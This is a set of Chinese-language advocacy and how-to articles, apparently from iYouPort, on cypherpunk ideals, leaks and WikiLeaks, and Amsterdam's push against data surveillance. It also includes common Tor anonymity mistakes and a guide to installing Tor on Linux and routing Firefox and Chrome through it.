密码学不仅可以保护个人的公民自由和权利，而且可以保护弱小国家的主权和独立，它是有助于有共同事业的团体之间的团结和全球解放的项目，不仅可以用来战胜国家对个人的暴政，而且还可以用来打击帝国对小国的暴政。

利用这项属性去创建新世界的法律，让我们的互联网柏拉图国度从它的卫星、海底光缆和控制器中脱身出去。让这个虚拟空间在密码之幕的背后得以加固，在这里，我们可以创造一片新的国土，将那些物质现实中的控制者阻拦在外：如果他们想跟踪我们，进入我们的领土，将耗尽无尽的资源。

把互联网转换成一个监视系统，是它的核心潜力决定的。更糟糕的是，当权者已经将互联网变成了压制工具，威胁要制造出人类历史上最为极端和压迫的国家入侵武器。

国家是决定强制性权力如何持久运用，以及用在何处的系统。这种强制性权力能够在多大程度上从物理世界渗透进互联网的柏拉图国度，这个问题将由密码术和赛博朋克的理想来解答。

随着国家与互联网的融合，人类文明的未来将成为互联网的未来，我们必须重新定义权力关系。

如果直到现在还没有采取行动，互联网的普适性将让全球人类逐渐消失在一个大规模监控的天罗地网里。

> *Younger generations will need to invent and distribute ideas, critiques, code and technology against the legacy controls of older generations indoctrinated in submissive acceptance of authority.*

——未完待续——

原文

这个时代真正的力量究竟是什么？已经有人找到了——为自由而战（五） - iyouport

为自由而战系列（完成）

【2018年2月11日存档】现实是一份重要的资产，人们需要有牢牢抓住它的意识，调查性新闻就是将现实从权力手里夺回来的崇高艺术。

日前出现的一则消息很是令人吃惊：中国裁判文书网公布了一份刑事判决书，一名中国河南的男子因出售 SS 服务被判有期徒刑三年缓刑五年，没收销售所得，罚款 10 万。

判决书称，该男子使用支付宝和 **PAYPAL** 在 VPS 服务商阿里云、VULTR、RFCHOST、50KVM、SSCLOUD 等购买 VPS 搭建 SS 服务，然后出售给其他用户。

据称，他搭建了 55 个 SS 服务，发展了四千多名客户，获利 30 余万元。中国法院表示，被告“违反国家规定，提供侵入、非法控制计算机信息系统的程序，情节特别严重，其行为已构成提供侵入、非法控制计算机信息系统程序、工具罪，依法应当受到惩罚”，其服务“未经相关部门授权，具有避开或者突破计算机信息系统安全保护措施，绕开我国互联网防火墙的监管，非法访问境外互联网站，收看非法电视、收听非法广播”……

消息本身并不令人十分吃惊，在此前已经有数位中国技术人士因销售或搭建VPN而被捕入狱，惊人的是这则消息透露了当事人的操作方法，其中“支付宝、阿里云”等字样的出现意味着这位技术人士的安全意识已经薄弱到了糟糕的程度。

这样可不行。

我们公布过对微信文本加密的方法，这就是一种护盾，相关武器还有很多，当下全球有很多密码术战士和真正的有战斗力的公民社会，他们正在不断开发和推广着很多工具，只要人们有这个意识，寻找并不

困难。

只有护盾还不够，它只能让你在战场上多活一段时间，如果你和队友们都没有对抗能力，这场战争也赢不了。对抗能力就是技术，至少应该能顾熟练使用技术人士所提供的最新武器。

打破阴谋

在各种计算机工具出现之前，隐私一直是被政府、企业和银行所霸占的，现在人们有机会开辟新的战线，借助信息给予人民更大的权力。

密码朋克们撬开了权贵对外紧锁的大门，因特网不再是商业投机主义者和政治压迫势力独有的武器。正是他们的努力，那些想把网络新技术仅仅变成监控民众、卖网赚钱的工具的大企业和政府机构才没有完全得逞。战斗一直在持续，压制和对抗水涨船高，计算机科技在变革的斗争中是最重要的工具。

各国政府曾经想要把密码学非法化，只允许官方为了自己的活动从事密码研究，而且至今包括中国在内的很多国家都是如此。政权想要牢牢抓住技术，只为自己的利益服务。他们扭曲了科技自身蕴含的自由价值观。

利用科技的人们为自由而战，阻止权威势力只用科技满足自己的需求。

必须找到一个最有效的反对政府、企业、监视机构等压迫性组织从弱势的个人身上榨取数据的方法，政权的基础就建立在控制数据上，数据即权力，通过此类控制可以迫害弱者、压迫社会、让人闭嘴。密码朋克的精神就是要保护人们免于这种迫害，将人的知识转化为外人无法掠夺的财产，就如英国思想家 Thomas Paine 所说：将自由作为抵抗伤害和侵略的坚实堡垒，保护人民大众—— 密码学的目标就是如此，将压迫的工具变成自由的工具。

互联网本身不能带给你自由，它只是能让发布信息更便宜，并在各地审查的允许下在全球范围内发布信息。这里并没有额外的自由，想要自由的人们必需自己去争取。有人曾将2011年的埃及革命称之为“推特革命”，其实他们错了，穆巴拉克并不是被一群硅谷快闪族推翻的，就像法国大革命不是印刷机和宣传单的革命，而是人民利用科技分享观点和信息、公开表达自我的革命。

威权政府深知如何通过阴谋论来强化自我，而人民的反抗程度，与对

阴谋的了解程度成正比。信息能解放全人类，计算机科学已经帮助世人揭开了政治关系的面纱。数字时代的行动家不能单枪匹马，密码朋克运动拒绝急先锋的概念，成功需要大家联手才能实现。首先要做的就是让人们明白其中的意义，这就是本网两篇系列文章的目的。

> *“真相之重能够将人沉至海底，真相之重能够压断你的肋骨。要不然我不要告诉他，让他被迫接受生活的现实”？……“让他承担真相之重吧！”—— Aleksandr Isayevich Solzhenitsyn 《the cancer ward》*

#leaks 包含巨大的潜力

上个月，本网提出了一个新标签 #leaks。每一种旧政府都惧怕改革，尤其是政治改革，但这个时代里，很多政府还没有学会如何阻止变革。

不要小看 leaks 的能量，一个政权的罪行越大，其秘密就越多，在中国，遍地都是“国家机密”，不否认这个词已经成为政府遏制言论自由的万能胶，但它同时也是巨大的机遇，然而绝大多数人学会的只有绕避，而没有挑战。就如下图这条 tweet，其中不仅表达了对当局言论的反驳，同时也暴露出一种恐惧。如果您能理解本系列文章的主旨就能明白，这不应该是桂民海和其支持者们的恐惧，而是政府的恐惧，泄密并不是桂民海的罪名，而是他的功绩。

你必须从真相开始，真相是我们能够到达任何地方的唯一途径，因为任何基于谎言或无知的决策都不会导致什么好的结论。

能让权力害怕的真相，曾经被攀权附势的媒体掩盖起来的真相，如果没有 #leaks 绝大多数人永远都不可能了解到的东西，那就是权力的软肋。

也许接触到这些软肋的人还不知道它们的真实价值。Wikileaks 曾经讲述过一段马来西亚大选的故事。

2009年，马来西亚的改革派团体正致力于社会进步。希望能通过提高国内语言和族群多元性打破马来西亚政治中僵化的种族划分。当时 Julian Assange 正在马来西亚访问，在不同场合巡回演讲，并与当时的反对党主要领袖安瓦尔易卜拉欣会面（Anwar bin Ibrahim）。

易卜拉欣曾在2008至2015年间担任马来西亚国会反对党领袖，也是人民公正党创党人，顾问及实权领袖，曾兼任槟州峇东埔区国会议员

多年。

Assange 说，当时的政治气氛瞬息万变，但易卜拉欣似乎对事态的把握非常准确，但他严重缺乏信息和公关技能的支持。Wikileaks 曾协助大马公布过一份非常敏感的文件，内容是在2006年吉隆波一起汽车爆炸案中遇害的蒙古女性，名为沙丽布阿旦都雅。这份文件对此事提出了非常严重的指控。

文件形式是“今日大马”编辑让惹柏特拉签署的一份法定声明。让惹事前受到了大马当局的威胁，网站被迫转移至新加坡和美国，与此同时，沙丽布的被杀案极具煽动性，在马来西亚基本完全被禁言，只要有人敢在集会上提起这件事，当局立刻会派来防暴警察。

据此可见，如果你认为一份文件没有太大意义，那就真的错了，你永远不可能完全猜中，权力弱点的准确位置。当弱点被反对派拿住时，执政党拼命维稳的天平就会倾斜。

权力往往很猖狂，Assange 一个外国人，由于在马来西亚为反对党提供技术支援，当局派出了秘密警察在深夜拦截他，如果没有当地反对派勇敢相助的话，今天关押他的地方可能不是伦敦，而是吉隆波。

泄密是很强大的武器，任何一个试图掩盖真相的权力都会惧怕。冰岛是全球最民主的国家之一，新闻自由是法律的基本精神、网络自由是现代精神的一部分，政治独立，社会视举报为英雄而不是公敌，看起来简直是天堂。

但在2009年，Wikileaks 泄露了冰岛已经被政府接管的考普辛银行（Kaupthing）的腐败事件后，该国政府居然对国家电视台RUV下达了有史以来第一条新闻禁令，原本准备好的新闻播报被掐断。当晚主持人说，“我们无法为观众奉上报道了，但有一个组织可以做到”，之后屏幕上打出了Wikileaks 的标识。那之后，**Wikileaks**的访问量瞬间高升，更重要的是，冰岛人民牢牢抓住了这次泄漏的机会，采取了进一步的行动。

人民厌恶银行家的腐败，行动是自然而然的。当地媒体对此的报道说：传统上冰岛人民是很消极的，没有反抗的历史，也许这一次是时候站起来了，“史无前例地反对裙带关系”。

现实是一份重要的资产，人们需要有牢牢抓住它的意识，调查性新闻就是将现实从权力手里夺回来的崇高艺术。

> *“Power is a thing of perception. They don’t need to be able to kill you. They just need you to think they are able to kill you” — Julian Assange*

没有什么是轻而易举的

你要做好被攻击的准备，这基本无可避免。当事实摆在面前时，所有权力都会恼羞成怒，他们会通过不断地抹黑你，让你失去公信力，而他们自己则凭借着强大的权威性强制人们去信服。这其中媒体、尤其是不专业的媒体，往往起到了恶劣的推波助澜效应。

中国当局和中国媒体对异议人士的抹黑，中国人都不陌生，基本可以无需赘述。为了证实上述所言之“每一种权力都会恼羞成怒”，**Julian Assange** 的经历就是最好的例子，其中媒体参与的抹黑令人焦虑的程度丝毫不逊中国。

日前，一位名为 Michael Edison Hayden 的媒体人在毫无调查的情况下引用了一则虚假信息，而且是早已被批驳过的虚假信息。不考虑他的发布动机，至少说明他的专业知识和意识足够薄弱。他的截图是真实的，但账号不是，Julian Assange 的账号是 @JulianAssange，而那个冒充者则是 @TheRealJulian。两个账号使用了同样的头像、简介和封面。

假账号在大肆吹捧 Trump，而原本应该众所周知的是 **Julian Assange** 是无政府主义者，他的工作目标就是揭示一切权贵的阴暗。Assange 曾在公开采访中表示，“在特朗普和希拉里之间选择就如同在霍乱和淋病之间选择”，但很多人对此视而不见，由此进一步助长了众多媒体对他的无厘头偏误报道。

现在 Assange 有七百万追随者，而做为美国互联网巨头的 twitter 至今拒绝给他认证，这不仅在很大程度上阻碍了做为独立媒体平台的 Wikileaks 的影响力发挥，更导致了虚假冒充的盛行，然而 twitter 却在纵容这种冒充。这明显是政治偏见。

twitter 上，一位ID为 @AlabedBana 的小女孩拼命地恳求北约部队入侵叙利亚，并在2016年9月首次创建推特账户，她并不会说英语，而且还太年轻，无法掌握复杂的军事和地缘政治问题，她的简介上写着“账户由妈妈管理”。twitter 给她认证了。然而，该账号发布的短视频中明显透露出一个孩子在提词板指导下的表演，拥护战争，她也许根本就不明白自己说的话。而美国媒体却不断使用这个伪造的、脚本化的战争宣传视频去抵制对美国军方进一步参与叙利亚问题的任何异

议。

这显然是一个卑鄙的、令人厌恶的谎言，一个小女孩被利用来帮助在叙利亚制造更多屠杀的支持。

宣传是非常可怕的，尤其是当你激怒了一个政权的时候，那些以政权为支撑点的宣传机构、金融机构，会如洪水一般向你扑来。批评者被成为罪犯，正是因为真相是诅咒帝国或依赖谎言为其存在的任何专制政府的最佳武器。

世界上充斥着歌利亚，公民是弱小的一方，当权势被逼到死角时他们会用尽各种方法诽谤和报复我们，历史上公然挑战权贵的人都曾遭遇过恶意中伤。

但正是这些人的勇气带来了一步步前人难以想象的变革：

2011年，本阿里总统解散了突尼斯政府，宣告国家进入紧急状态，随后他逃往沙特阿拉伯。抗议者们正是被Wikileaks曝光的政府腐败行为所引导的。

Wikileaks 披露的美国“电报门”事件登陆印度的《教徒报》后，该报在几个星期内就披露了印度议会的贿赂现象，在这之前是没有的。

Julian 和斯洛伐克哲学家齐泽克、美国记者古德曼在伦敦参加活动，齐泽克将“电报门”必做“皇帝的新衣”：我们都知道皇帝没有穿衣服，但只要有人公开说出来，一切都会改变…… ○

原文

阿姆斯特丹领导对监视资本主义的斗争 - iYouPort

为自由而战系列（完成）互联网自由-Resist

资本正在推动数据资本主义成为’新石油’，将技术置于民主控制的社会环境中并不容易

「图」

「图」

荷兰数据隐私活动家 Marleen Stikker 在1994年就对数字技术的“老大哥”潜力有所了解。作为数字城市的创始人—欧洲第一个虚拟社区—Stikker 深刻领会了当时新兴技术的黑暗面。“我坐在显示器后面，我可以看见人们登录并跟踪他们在电脑上所做的一切。我说，’这太疯狂了。这绝不是我们想要的世界。

Stikker 在接下来的二十年中无助地看着当年自己瞥见的噩梦一步步成为现实，最终导致 Facebook 利用个人数据操纵选举、全球智能城市监控公民的技术跟踪每一个人。作为阿姆斯特丹技术和社会创新研究机构 Waag Society 的主席，Stikker 制定了防止数据资本家利用阿姆斯特丹公民的战略，但她还有很长的路要走。

“有许多真正糟糕的行为者，无论是数字公司还是政府都在趁机利用人民，因为大众对互联网的理解仍处于浅层的萌芽状态。当马克扎克伯格利用人们的高度信任来从他们的数据中赚钱时，他确切知道自己在做什么。我们在所谓的智能城市看到了同样的事，公民的数据是在未经许可的情况下被吸取，“她说。

不过，Stikker 看到了一线希望。她说，过去几年来阿姆斯特丹的思维方式发生了明显变化，因为监控技术的黑暗面已经暴露。像世界各地的许多政治家一样，阿姆斯特丹的领导人也在实施具有宗教类热情的智能技术，在人们还没来得及怀疑的情况下。

“长期以来，有一种乌托邦式的信念，即 认为这些技术将帮助我们拯

救世界—我们将获得更多的可持续性，更多移动性和更高的安全性，“Stikker 说，“但是，技术永远不会是中立的。我们第一次听到当地政客讨论入侵问题，因为他们失去了对资本主义数据公司的控制权。“

阿姆斯特丹经济委员会发起了一份“数据披露”宣言，指导公民数据的道德使用，这显示了荷兰首都政治意愿的变化。Tada City 宣言的目的是让公民可以更多地控制他们的数字城市的设计；使用他们的数据必须“透明化”并且“共同使所有公民都能受益”。该宣言旨在“以人为本”和“为公民自由作出贡献”。

包括 Waag Society 在内的大型财团为制定这些原则付出了积极的努力。“对数据技术的监管从来没有如此令人兴奋。但该宣言只是一个开始，我们现在需要为阿姆斯特丹智能城市的未来制定规则。关键问题是，“当你从城市中检索数据时要首先确定它为了谁的利益？”，“Stikker 说。

媒体对其他荷兰城市可疑监视行为的曝光，为阿姆斯特丹提供了一个有用的警告，即过度技术官僚的危险性。在某些情况下，媒体报道使当地的荷兰政客陷入了“极大的尴尬”。例如，荷兰城市埃因霍温因在 Stratumseind 繁忙的“智能”街道采取监控策略而受到批评，其灯柱上配有 wifi 跟踪器、摄像头和数十个麦克风，所有数据都被收集和存储，即使这完全违反了荷兰国家个人数据保护法的原则，该法规定如果收集数据就必须通知被收集的人，并给出原因。

“这种对监视的’推动’和监控行为原本就不应该发生，因为它干扰了公共空间。这正是我们想在阿姆斯特丹避免的东西，“斯蒂克说。

第二个广为人知的案例是在恩斯赫德，即使设备没有连接到网络，市议会传感器也在跟踪手机。Stikker 说，这种“无许可”的数据收集是“绝对疯狂的和不必要的”，在 Tada City 宣言中将被取缔。

与此同时，荷兰乌得勒支市正在跟踪那些在街道上闲逛的人。系统记录每个人的详细信息，例如年龄、个人彼此间了解的程度、以及他们行为特征的详细信息。特别执法人员跟踪移动设备上的数据，这个过程被称之为“有针对性”的监视。“他们试图以减少不良行为和犯罪为借口来证明他们的政策是合理的，但这种预测数据分析会产生更多的问题。警察开始监视一个地方，人们就会对此做出社会反应，寒蝉效应和高度的自我审查“，她说。

Stikker 认为，部署监控技术会否定社区结构的重要性，从而加剧了

社区的分歧。她说，减少犯罪的方法不是强迫监控，而是提供有意义的社交环境。“ICT 社区希望我们相信代码是法律、技术是上帝。但是，为了获得所谓的安全你就必须接受危害隐私，这是一个错误的论点。这只是宣传和营销。当你为了安全而付出人权时，安全和人权都会彻底失去，“她说。

数据隐私最近成为了整个荷兰的热门话题，3月份将就是否向间谍机构提供新权力这一问题举行公民投票。“情报和安全法”允许各机构在整个地区收集信息，将信息存储长达三年，并与其他间谍机构分享这些数据。动员公民投票的学生说，这些权力是对隐私的侵犯，而总理马克鲁特认为他们对打击恐怖主义至关重要。最后学生们赢了，虽然结果没有约束力。但“公投本身表明，越来越多的荷兰人决心反击这种监控文化，”她说。

欧盟已经注意到阿姆斯特丹对技术的态度转变，并选择该市为期三年的项目，以改善数据共享的经验。巴塞罗那也改变了其做法，将与阿姆斯特丹在 Decode（权力下放公民拥有的数据生态系统）项目上合作，创建允许欧洲人共享或保密个人信息的工具。最终，欧盟希望开发一种开放式架构，用于管理来自在线资源和智能技术的数据。

阿姆斯特丹的第一个试点是抵制 Airbnb 等共享经济平台，这些平台推高了租金价格。Decode 项目将为阿姆斯特丹市政府和 FairBnB 集团之间的合作提供数据，同时不会损害任何人的隐私。第二个阿姆斯特丹试点项目侧重于合作数字平台 Gebiedonline（邻居在线），该平台使人们能够在他们的社区中查看当地的活动和网络。阿姆斯特丹市议会希望在全市范围内推广这些计划，但是以保护本地网络隐私为基本方式，由居民来决定分享哪些信息。

Stikker 仍然保持着谨慎观望，像 Tada City 和 Decode Project 这样的计划可以让阿姆斯特丹朝着正确的方向发展。但她也相信未来将面临更多艰难的战斗。“这将是非常困难的，因为我们正在强大的老大哥潮流面前逆向而行，”她说，“资本正在推动数据资本主义成为’新石油’，将技术置于民主控制的社会环境中并不容易。”

“我们不希望中国的那种国家控制数据模型，我们也不想要硅谷的超个人监控资本主义模式。这对欧洲来说是一个寻找更好模型的绝佳机会，“她说。

- 关联：《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

Amsterdam leads fight against data surveillance capitalism“We don’t want a Chinese model of state control over data & don’t want the hyper-individual surveillance capitalist model of Silicon Valley. It’s a huge opportunity for Europe to find a better model… she says.

原文

使用 Tor 保护自己时千万不要做这九件事！ - iyouport

洋葱头的斗争（完成）自我保护措施-技术技巧以防身

【2018年5月3日存档】

我们利用代理服务器来满足匿名需求，在互联网上保护自己的隐私，避免被追踪。Tor 是所有工具中级别最高的，洋葱路由器项目被认为是那些想在互联网上隐身的人的最佳选择。

关于 Tor 本网的详细介绍和分析：1、Tor 项目的由来：当搬石头砸脚遇到“运动死亡”；2、反侦察：追求正义的人应该加强反侦查技巧；3、注意事项：真的安全吗？那么他们是怎么抓人的？；4、原则：你为什么需要 Tor。

洋葱路由器有能力保护你，让你远离那些在互联网上试图追随你的纠缠者和邪恶的权力。即使你想成为另一个 Edward Snowden，你也可以通过使用 TOR 浏览器来做到这一点。

Tor 浏览器旨在尽量减少间谍行为和窃听的机会。当然没什么是完美的，Tor 也有它的缺点，问题会出在出口节点上。但是 Tor 无疑是我们目前能拥有的最佳选择。但建议您不要混淆 Tor 的默认设置，除非您知道自己在做什么。这是因为启用 **Javascript** 和其他插件可能会导致您的 **IP** 地址被泄漏。

洋葱路由器的普及激发了一些居心不良的人，创建恶意软件并使其看起来很像 Tor 浏览器。这是用户应该担心的事。

此外，无论你认为自己有多安全，你都不能对这样一个事实视而不见：你的任何一点错误都将有可能在互联网上泄露你的身份。

这里有九件事，在使用 Tor 的时候你不应该做：

1.请勿将您的手机在 **Tor** 上用于两步验证：

大多数网站会使用手机号码进行两步验证，将OTP（一次性密码）发送到您的手机上，使您可以安全地登录到自己的帐户。但千万不要在 Tor 浏览器上这样做。如果您将手机号码提供给网站，它只会在网上妨碍您的匿名状态，因为使用手机号码更容易追踪您。

请注意，即使您使用的是以其他人的名字注册的 **SIM** 卡（非实名手机卡），电信运营商也同样可以轻松追踪到您，因为他们可以将设备的 **IMEI** 号码保存在其数据库中 —— IMEI 号码是独一无二的，也就是说不会出现两台设备共享相同一个 IMEI 或 MEID 号码的情况，那就是您的身份。

2、不要在 **TOR** 之外操作用户帐户：

如果您使用 TOR 浏览器登陆您的 Facebook，Twitter 或电子邮件帐户，就请不要在 TOR 浏览器之外使用这些帐户，因为它会将您的在线身份暴露给网站。

网络上的几乎每个站点都会记录登录和注销时间、您的位置、IP 地址和其他详细信息，在开放的互联网上使用您的帐户即使一次也足以让您的 **IP** 地址被记录，并最终暴露您的身份。

3、不要发布有关您的任何个人信息：

必须牢记这点，不要在使用 TOR 时发布任何个人信息，如姓名，地址，生日，信用卡号码等等，它将揭示你的身份，造成使用 TOR 也没有意义，希望你能理解。

为了让自己完全隐藏起来，你需要伪装自己。这意味着您需要在使用 **TOR** 时将自己表现为具有不同行为特征的人。变成完全不同的人，具有不同的好恶、选择偏好，以及理想等等。

为此，请使用新的电子邮件地址创建一个新的用户帐户，该电子邮件地址必需不会反映您的真实身份。将其用于您的社交媒体账户。

另外，不要混淆匿名和假名。匿名连接是您想要连接的服务器不知道您的真实 IP 地址/位置和您的身份的相关性。

假名连接是被请求的服务器不知道你的实际 IP 地址/位置，但是它可以知道与连接关联的身份，虽然那个身份不是你。

4、不要通过 **TOR** 发送未加密的数据

阅读上述我们的文章您会发现，TOR 加密的是你的连接而不是你的数据，而 TOR 的出口节点是脆弱的。因此，强烈建议不要通过 **TOR** 网发送未加密的数据，因为有人可能会守在出口节点访问您的信息。你不知道那会是谁。

5、不要在 **Windows** 中使用 **TOR**

微软的 Windows 是世界上使用最多的台式机操作系统，但是当你想要使用 TOR 浏览器时，它可不是什么好的选择。

Windows 无法被信任是由于操作系统本身存在的漏洞，即使您使用 TOR 访问互联网，也可能会泄露您的身份。

Linux 系统将为您提供良好的服务。像 **Tails** 和 **Whonix** 这样的 **Linux** 发行版都预先配置了 **TOR**。您也可以在任何您喜欢的发行版上手动配置它。

6、不要忘记删除 **cookies** 和本地网站数据

当您访问网站时，它会向您的计算机发送一个小文件，以保存您的浏览习惯和其他数据的记录，以便网站在您下次访问时能够识别您，该文件称为 cookie。某些网站也可能将数据本地存储在您的硬盘上。

在 TOR 上执行的每个浏览会话之后，您应该删除这些 cookie 文件和本地网站数据。这些东西可能会让网站收集到有关您的信息并跟踪您的位置和 IP 地址。

Tor 浏览器的更新版本会在结束会话后自动删除网站 Cookie 和下载历史记录。另外您也可以单击新建标识选项（在地址栏之前单击洋葱按钮），而不必关闭 Tor 浏览器。

7.请勿将 **TOR** 用于 **Google** 搜索

如果您想在使用 TOR 时保持匿名，请勿使用 Google 搜索。虽然这听起来很奇怪，但这是因为 Google 会收集您的搜索请求等信息，将 Cookie 文件存储在您的计算机上，并跟踪您的浏览习惯以支持其广告服务。

你肯定不想透露这些信息，因此，您最好避免 **Google**，使用其他搜索引擎，如 **DuckDuckGo** 和 **StartPage**，因为它们不会记录您的 **IP** 地址或任何其他活动。而谷歌有可能会显示一条错误消息或要求验证码，这是因为通过 Tor 访问 Google 的人似乎很可疑。

8.不要在 **TOR** 上打开 **HTTP** 网站

如果您使用 TOR 访问 HTTP 站点，有人可能会在出口节点上访问您的信息。传输到 HTTP 站点和从 HTTP 站点传输的数据是未加密的，并且可以在端点上进行查看，因为 TOR 仅加密其网络内的连接。

您可以通过使用 HTTPS 来防止这种情况。他们使用 SSL（安全套接层协议）和TLS（传输层安全协议）等端到端加密协议。因此，即使您位于 TOR 网络之外，您的所有数据仍然安全。

9、不要同时使用 **Tor** 和不使用 **Tor** 访问同一台服务器

这是你必需记住的一件重要的事。如果您使用TOR（匿名）访问特定的远程服务器，就切记不要从 TOR 网外（非匿名）访问同一台服务器，因为这可能会导致您的实际身份被揭示。

这是因为，如果你的网络出现故障，你的所有连接将在同一时刻终止，如果有人对你进行窥探，并完成拼图，这一点都不难。

此外，Web 服务器可能会尝试通过增加或减少 TOR 或非 TOR 连接的速度来将两个连接关联起来，以查看速度是否在另一个连接上存在波动，从而跟踪您的真实 IP 地址。

原文

如何在你的网页浏览器中使用Tor网络？ - iYouPort

洋葱头的斗争（完成）自我保护措施-技术技巧以防身

在线隐私正在成为一个大问题，互联网用户一直在寻找有效的方法或工具，以便可以保持匿名上网。

只要能做到有效的匿名，就没有人能轻易找到你的真实身份、你的真实位置；这样，您就可以通过公共网络共享任何敏感信息，而不会因此被置于危险之境地。

Tor 网络是一组志愿者操作的服务器，允许人们在连接到互联网时增强个人隐私和安全性。

在本文中，我们将展示如何安装 Tor 软件并配置您的 Web 浏览器（Firefox 和 Chrome）以将其用作代理。

在 **Linux** 系统中安装 **Tor**

出于稳定性和安全性修复的原因，强烈建议从官方项目存储库安装Tor软件包。不要在 Linux 发行版的本机存储库中使用这些包，因为它们经常过时。按照以下说明在您的系统上设置官方软件包存储库。

在 **Debian / Ubuntu** 上安装 **Tor**

首先，您需要使用以下命令查找发行名称：

$ lsb_release -c

接下来，将以下条目添加到 /etc/apt/sources.list 文件中。确保将 DISTRIBUTION 替换为您的实际发行名称，例如 xenial）：

deb https://deb.torproject.org/torproject.org `DISTRIBUTION` main
deb-src https://deb.torproject.org/torproject.org `DISTRIBUTION` main

然后通过执行以下命令添加用于签名的 gpg 密钥：

$ gpg –keyserver keys.gnupg.net –recv 886DDD89

$ gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

接下来，通过以下命令进行更新并安装 Tor：

$ sudo apt update

$ sudo apt install deb.torproject.org-keyring

$ sudo apt install tor

成功安装 Tor 后，应自动启动并启用该服务。您可以使用 systemctl 命令验证其状态：

$ sudo systemctl status tor

或者这样也行：

$ sudo systemctl start tor

$ sudo systemctl enable tor

在 CentOS / RHEL 和 Fedora 上安装 Tor

首先，您需要使用以下命令查找发行名称：

1. cat /etc/redhat-release

接下来，将以下条目添加到 /etc/yum.repos.d/tor.repo 文件中，并确保根据您的发行名将 DISTRIBUTION 名称替换为以下之一：fc / 29，el / 7 或 el / 76：

[tor]

name = Tor repo

enabled = 1

baseurl = https://deb.torproject.org/torproject.org/rpm/

DISTRIBUTION/$basearch/ gpgcheck=1 gpgkey=https://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc [tor-source] name=Tor source repo enabled=1 autorefresh=0 baseurl=https://deb.torproject.org/torproject.org/rpm/DISTRIBUTION/SRPMS gpgcheck=1 gpgkey=https://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc

接下来，通过以下命令更新包源并安装 Tor：

1. yum update
2. yum install tor

安装 Tor 后，您可以使用以下命令启动、启用和验证状态：

1. systemctl start tor
2. systemctl enable tor
3. systemctl status tor

配置 Web 浏览器以使用 Tor 网络

要 Torify 您的Web浏览器，您需要通过将Web浏览器指向 Tor（localhost 端口 9050）直接使用 SOCKS。要确认 tor 正在监听此端口，请运行以下 netstat 命令：

$ sudo netstat -ltnp | grep "tor"

tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN 15782/tor

在 Firefox 上配置 Tor

转至首选项→网络设置，在配置对 Internet 的代理访问权限下，选择手动代理配置选项。

然后将 SOCKS 主机设置为 127.0.0.1，将端口设置为9050，并勾选“Proxy DNS when using SOCKS v5”，然后单击确定。

「图」

「图」

下一步是访问链接：check.torproject.org，测试您的浏览器是否已成

功完成设置。如果你看到下面这样的画面就表示配置正确。

「图」

「图」

在 Chrome 上配置 Tor

转到设置→在“高级”下，单击隐私和安全，然后在“系统”下，单击打开代理设置。

「图」

「图」

如果您的桌面环境不受支持或启动系统配置时出现问题，则需要使用—proxy-server 选项使用 google-chrome-stable 工具从命令行启用代理设置。

$ google-chrome-stable –proxy-server＝"socks:*127.0.0.1:9050*"
「图」「图」 注意：如果您想使用*Tor*进行更有效的匿名网页浏览，请安装并使用*Tor*浏览器。 ⚠并请记住，*Tor*无法解决所有匿名问题。它的目的只是保护数据从一端到另一端的传输。人的因素依旧是最重要的，如果您出现操作错误，任何安全技术都帮不了您。具体详见《使用 *Tor* 保护自己时千万不要做这九件事》 *How to Install and Use Tor Network in Your Web Browser* 原文

当搬石头砸脚遇到“运动死亡”——洋葱头会让谁流泪？（一）- iyouport

洋葱头的斗争（完成）

【2018年5月3日存档】事实早已显示，当权者更倾向于利用技术来对付老百姓，然而老百姓却普遍不懂技术、不重视技术，这只能意味着，必输无疑。

2011年，反抗的浪潮推翻了突尼斯政府和埃及总统穆巴拉克，并且波及到摩洛哥、利比亚和巴林等国，形成了大规模的抗议活动。世界上大部分国家都在赞叹“ **Twitter / Facebook** 在组织和促进这些变革运动”。但是他们都错了。

恰恰是社交媒体和互联网，让这些抗议者处于前所未有的危险境地—— 除非他们使用**Tor**这样的匿名工具，否则每一个接通这些在线服务的反抗者的信息都会持续受到政府的监视，其后果就是政府可以随意随时“精准”地闯入他们想逮捕的人的家门。

Tor 的目标就是，即使政府已经进行了锁定、截流和监视带宽，仍然可以保护那些通过卫星上网的反对者和揭露政权阴谋的记者。

“搬石头砸脚”

Tor，或者准确说是高端加密技术，在全球透明度革命中占据着举足轻重的位置，他保护了无数勇敢者的安全，而更有意思的是，Tor 技术最初的开发者正是政府部门。

是美国国防部高级计划研究局（Defense Advanced Research Projects Agency 简称DARPA）创建的技术，最终帮助曝光了政府拼命想要隐藏的东西。

毕竟是DARPA最想创建了那个巨大的虹吸秘密的神经中枢网络互联网的原型，并且与国务院和海军研究室一起（ Naval Research Laboratory ）开发并资助了Tor的研究。Wikileaks最终改变世界的重要工具之一，正是这些机构自己创造的成果。

但是，正如你所见，透明度革命的勇士们在利用匿名技术泄漏大量政府“机密文件”后，美国政府却没有撤回对这一工具的研究经费，这是因为，如果没有了互联网信息共享能力，政府的特工们也难以生存。他们需要完全匿名的在线能力。

美国国务院通过资助Tor实现了自己的特工与从伊朗到缅甸等多地区的线人保持联系，并帮助他们在一定程度上无拘无束地使用网络。美军使用Tor来搜集公开来源的情报，从其他国家的网站上搜集其外交政策和军事策略，而不会暴露自己渗透在他们中间的间谍。

Tor的执行理事 Andrew Lewman 举过一个例子：IBM 拥有一份美国专利和商标保护局的数据库拷贝，如果在惠普的某人想要浏览该数据库中的传感器设计，而又不被其他最大的竞争对手知道，那最好的方法就是安全匿名措施。

一个多月前，俄罗斯官媒RT发布了一篇报道，指Tor“获得了美国政府机构BBG的资助，并与情报机构合作”。消息是真实的，来自一份揭秘文件，也有其他媒体和博客关注这件事，但这并不意味着Tor本身“已经不安全”，这则消息却完全可以吓倒那些不懂其历史和技术本身原理的人。怀疑俄罗斯官媒在借此恐吓国内使用**Tor**的反对派。

但Tor并不是绝对程度上的安全，至于为什么，我会在下篇文章详细分析。先说说Tor的基本原理，如果人们可以深刻理解它，就不会被这些有目的的恐吓吓倒。

基本原理

